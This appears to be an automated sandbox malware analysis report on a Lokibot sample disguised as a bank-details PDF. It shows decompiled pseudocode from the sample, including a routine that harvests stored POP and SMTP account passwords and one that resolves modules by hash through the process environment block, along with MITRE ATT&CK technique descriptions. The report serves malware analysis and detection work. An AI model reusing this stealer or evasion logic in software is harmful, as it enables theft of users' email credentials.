
0x00405932
0x0040593d
0x00405940

APIs

StrStrW.KERNELBASE(?,?,00000002,D6865BD4,00000000,00000000), ref: 0040593D

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bee70add85649cbd4a2768cfe9b9dcd091b7df8922090f97a094487be0f2036
Instruction ID: 5151f40d070928696ad3a3dfeafe9e6e8178c5ee17630b0dfe73cc98556a196c
Opcode Fuzzy Hash: 4bee70add85649cbd4a2768cfe9b9dcd091b7df8922090f97a094487be0f2036
Instruction Fuzzy Hash: 8FC04C311842087AEA112FD2DC07F587E1D9B45B58F104015B61C2C5D1DAB3A6105659

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040434D, Relevance: 15.1, APIs: 10, Instructions: 135memorycomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040438F
CoCreateInstance.OLE32(00418EC0,00000000,00000001,00418EB0,?), ref: 004043A9
VariantInit.OLEAUT32(?), ref: 004043C4
SysAllocString.OLEAUT32(?), ref: 004043CD
VariantInit.OLEAUT32(?), ref: 00404414
SysAllocString.OLEAUT32(?), ref: 00404419
VariantInit.OLEAUT32(?), ref: 00404431

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InitVariant$AllocString$CreateInitializeInstance
String ID:
API String ID: 1312198159-0
Opcode ID: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction ID: 6cc2ba4480fbb4d68866773ab5e076051400aafb7d2546f6199fc19a864342a4
Opcode Fuzzy Hash: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction Fuzzy Hash: 9A414C71A00609EFDB00EFE4DC84ADEBF79FF89314F10406AFA05AB190DB759A458B94

Uniqueness

Uniqueness Score: -1.00%

Function 0040D069, Relevance: 12.6, Strings: 10, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040D069(void* __ebx, void* __eflags, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __edi;
				void* __esi;
				intOrPtr _t40;
				intOrPtr _t45;
				intOrPtr _t47;
				void* _t71;
				void* _t75;
				void* _t77;

				_t72 = _a4;
				_t71 = E00404BEE(__ebx,  *_a4, L"EmailAddress");
				_t81 = _t71;
				if(_t71 != 0) {
					_push(__ebx);
					_t67 = E00404BEE(__ebx,  *_t72, L"Technology");
					_v16 = E00404BEE(_t37,  *_t72, L"PopServer");
					_v40 = E00404BA7(_t81,  *_t72, L"PopPort");
					_t40 = E00404BEE(_t37,  *_t72, L"PopAccount");
					_v8 = _v8 & 0x00000000;
					_v20 = _t40;
					_v24 = E00404C4E(_t71,  *_t72, L"PopPassword",  &_v8);
					_v28 = E00404BEE(_t67,  *_t72, L"SmtpServer");
					_v44 = E00404BA7(_t81,  *_t72, L"SmtpPort");
					_t45 = E00404BEE(_t67,  *_t72, L"SmtpAccount");
					_v12 = _v12 & 0x00000000;
					_v32 = _t45;
					_t47 = E00404C4E(_t71,  *_t72, L"SmtpPassword",  &_v12);
					_t77 = _t75 + 0x50;
					_v36 = _t47;
					if(_v8 != 0 || _v12 != 0) {
						E00405872( *0x49f934, _t71, 1, 0);
						E00405872( *0x49f934, _t67, 1, 0);
						_t74 = _v16;
						E00405872( *0x49f934, _v16, 1, 0);
						E00405781( *0x49f934, _v40);
						E00405872( *0x49f934, _v20, 1, 0);
						_push(_v8);
						E00405762(_v16,  *0x49f934, _v24);
						E00405872( *0x49f934, _v28, 1, 0);
						E00405781( *0x49f934, _v44);
						E00405872( *0x49f934, _v32, 1, 0);
						_push(_v12);
						E00405762(_t74,  *0x49f934, _v36);
						_t77 = _t77 + 0x88;
					} else {
						_t74 = _v16;
					}
					E0040471C(_t71);
					E0040471C(_t67);
					E0040471C(_t74);
					E0040471C(_v20);
					E0040471C(_v24);
					E0040471C(_v28);
					E0040471C(_v32);
					E0040471C(_v36);
				}
				return 1;
			}

0x0040d070
0x0040d080
0x0040d084
0x0040d086
0x0040d08c
0x0040d0a0
0x0040d0ae
0x0040d0bd
0x0040d0c0
0x0040d0c5
0x0040d0c9
0x0040d0e3
0x0040d0f2
0x0040d101
0x0040d104
0x0040d109
0x0040d110
0x0040d11e
0x0040d123
0x0040d126
0x0040d12d
0x0040d145
0x0040d154
0x0040d15a
0x0040d166
0x0040d174
0x0040d186
0x0040d18e
0x0040d19a
0x0040d1ac
0x0040d1ba
0x0040d1cc
0x0040d1d1
0x0040d1dd
0x0040d1e2
0x0040d1e7
0x0040d1e7
0x0040d1e7
0x0040d1eb
0x0040d1f1
0x0040d1f7
0x0040d1ff
0x0040d207
0x0040d20f
0x0040d217
0x0040d21f
0x0040d227
0x0040d230

Strings

PopPort, xrefs: 0040D0A7
EmailAddress, xrefs: 0040D074
Technology, xrefs: 0040D08D
SmtpServer, xrefs: 0040D0DC
PopPassword, xrefs: 0040D0D0
SmtpAccount, xrefs: 0040D0FA
PopAccount, xrefs: 0040D0B6
SmtpPort, xrefs: 0040D0EB
SmtpPassword, xrefs: 0040D117
PopServer, xrefs: 0040D099

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: EmailAddress$PopAccount$PopPassword$PopPort$PopServer$SmtpAccount$SmtpPassword$SmtpPort$SmtpServer$Technology
API String ID: 0-2111798378
Opcode ID: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction ID: 091e628055053f5eef329adcdd4db079f25726ad560f051e033024c376855220
Opcode Fuzzy Hash: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction Fuzzy Hash: AE414EB5941218BADF127BE6DD42F9E7F76EF94304F21003AF600721B2C77A99609B48

Uniqueness

Uniqueness Score: -1.00%

Function 0040317B, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040317B(intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				void* __ecx;
				intOrPtr _t17;
				void* _t21;
				intOrPtr* _t23;
				void* _t26;
				void* _t28;
				intOrPtr* _t31;
				void* _t33;
				signed int _t34;

				_push(_t25);
				_t1 =  &_v8;
				 *_t1 = _v8 & 0x00000000;
				_t34 =  *_t1;
				_v8 =  *[fs:0x30];
				_t23 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0xc)) + 0xc));
				_t31 = _t23;
				do {
					_v12 =  *((intOrPtr*)(_t31 + 0x18));
					_t28 = E00402C77(_t34,  *((intOrPtr*)(_t31 + 0x28)));
					_pop(_t26);
					_t35 = _t28;
					if(_t28 == 0) {
						goto L3;
					} else {
						E004032EA(_t35, _t28, 0);
						_t21 = E00402C38(_t26, _t28, E00405D24(_t28) + _t19);
						_t33 = _t33 + 0x14;
						if(_a4 == _t21) {
							_t17 = _v12;
						} else {
							goto L3;
						}
					}
					L5:
					return _t17;
					L3:
					_t31 =  *_t31;
				} while (_t23 != _t31);
				_t17 = 0;
				goto L5;
			}

0x0040317f
0x00403180
0x00403180
0x00403180
0x0040318d
0x00403196
0x00403199
0x0040319b
0x004031a1
0x004031a9
0x004031ab
0x004031ac
0x004031ae
0x00000000
0x004031b0
0x004031b3
0x004031c2
0x004031c7
0x004031cd
0x004031e0
0x00000000
0x00000000
0x00000000
0x004031cd
0x004031d7
0x004031dd
0x004031cf
0x004031cf
0x004031d1
0x004031d5
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b57611fa40680ed248d57f37b4973e9bad199baf80beacdc2a2503593addd55
Instruction ID: 125f84157e295c2adc52e6f8c9cb261871d96e12da6c9e12f7e31892ee598d11
Opcode Fuzzy Hash: 5b57611fa40680ed248d57f37b4973e9bad199baf80beacdc2a2503593addd55
Instruction Fuzzy Hash: 0B01A272A10204ABDB21DF59C885E6FF7FCEB49761F10417FF804A7381D639AE008A64

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report Detalles del banco.pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Lokibot

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Function 00403D74, Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 200
fileCOMMON

Function 0040650A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67
COMMON

Function 00402B7C, Relevance: 3.0, APIs: 2, Instructions: 20
memoryCOMMON

Function 00406069, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Function 004061C3, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 151
COMMON

Function 00404E17, Relevance: 7.6, APIs: 5, Instructions: 72
networkCOMMON

Function 004040BB, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129
filememoryCOMMON

Function 00413866, Relevance: 4.6, APIs: 3, Instructions: 147
synchronizationCOMMON

Function 004042CF, Relevance: 4.6, APIs: 3, Instructions: 60
fileCOMMON

Function 00412D31, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 178
threadCOMMON

Function 0040632F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35
COMMON

Function 00406086, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15
COMMON

Function 00402C03, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13
libraryloaderCOMMON

Function 00404A52, Relevance: 3.1, APIs: 2, Instructions: 63
registryCOMMON

Function 00402BAB, Relevance: 3.0, APIs: 2, Instructions: 11
memoryCOMMON

Function 004060BD, Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Function 00403C62, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Function 0040642C, Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Function 00404EEA, Relevance: 1.5, APIs: 1, Instructions: 16
networkCOMMON

Function 00403BD0, Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Function 0040427D, Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Function 00404A19, Relevance: 1.5, APIs: 1, Instructions: 13
registryCOMMON

Function 00403C40, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Function 00403C08, Relevance: 1.5, APIs: 1, Instructions: 12
fileCOMMON

Function 00402C1F, Relevance: 1.5, APIs: 1, Instructions: 12
libraryCOMMON

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre